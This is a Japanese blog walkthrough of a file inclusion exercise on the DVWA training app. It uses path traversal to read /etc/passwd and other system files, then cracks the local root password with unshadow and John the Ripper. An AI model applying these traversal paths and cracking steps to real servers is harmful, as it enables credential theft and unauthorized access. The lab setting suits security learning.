LoginSignup
0
0

More than 3 years have passed since last update.

DVWAでfile inclusion

Posted at

前提

目標

  • file-inclusionでパスワードを奪取する

手順概要

  • パスワード管理ファイルにアクセスする

内容

file inclusionとは

  • urlのクエリを用いてサーバー内にあるファイルにアクセスすること。
  • urlのクエリ=fileパスと同じ意味になるので、クエリを操作することで意図しないファイルにアクセスできる。

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

  • file inclusionにアクセスする(左メニューにある)

image.png

file inclusion開始

image.png

  • いろんなファイルにアクセスする(適時階層は調整するtry&err)
    • ../../phpinfo.php

image.png

- /etc/passwd
- /etc/issue
- /proc/version
- /etc/shadow(x)
- /root/.bash_history
- /var/log/dmessage(x)
- /var/mail/root(x)
- /var/spool/cron/crontabs/root(x)
  • パスワードを奪取する

    • パスワードが管理されているのは/etc/passwdと/etc/shadow
    • /etc/passwd(下図)
    • /etc/shadow(取得できず) image.png
  • 本来であれば上のデータをもとにパスワードを解析する

  • 仕方ないのでデータ取れた前提で解析する

    • passwdとshadowファイルを連結し、johnさんに投げる。
    • 以下shellを実行すると(id/pw)=root/rootであることが分かった。
    • 現在kali linuxがサーバーみたいなものなので、kali linuxのログイン認証情報を獲得できた。(johnで解析できるように強度の低いパスワードに再設定して解析した。強度が高いと失敗する)
# passwd+shadowファイルを連結する
root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt
# 解析開始
root@kali:~# john hash.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
root             (root)
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:30 19.38% 2/3 (ETA: 00:18:42) 0.03322g/s 1039p/s 1039c/s 1039C/s mailer2..bandit!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

おわり

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0